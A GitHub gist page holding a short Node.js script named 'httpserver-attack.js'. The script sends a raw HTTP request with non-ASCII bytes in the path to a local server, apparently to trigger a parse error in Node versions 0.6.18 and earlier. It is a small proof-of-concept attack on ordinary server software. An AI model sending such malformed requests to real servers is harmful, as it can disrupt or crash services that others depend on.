Skip to content

Instantly share code, notes, and snippets.

@fengmk2
Created November 10, 2012 22:44
Show Gist options
  • Save fengmk2/4052814 to your computer and use it in GitHub Desktop.
Save fengmk2/4052814 to your computer and use it in GitHub Desktop.
httpserver-attack.js
/**
* node <= 0.6.18 attack: SOCKET Error: Parse Error
*/
var net = require('net');
var data = 'GET /\xC4\xD0\xD7\xB0 HTTP/1.1\r\n\
User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8r zlib/1.2.5\r\n\
Host: 127.0.0.1\r\n\r\n';
var client = net.connect({
host: '127.0.0.1',
port: 12345,
}, function () {
console.log('client connected');
client.write(data);
});
client.on('data', function (data) {
console.log(data.toString());
});
client.on('end', function () {
console.log('client disconnected');
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment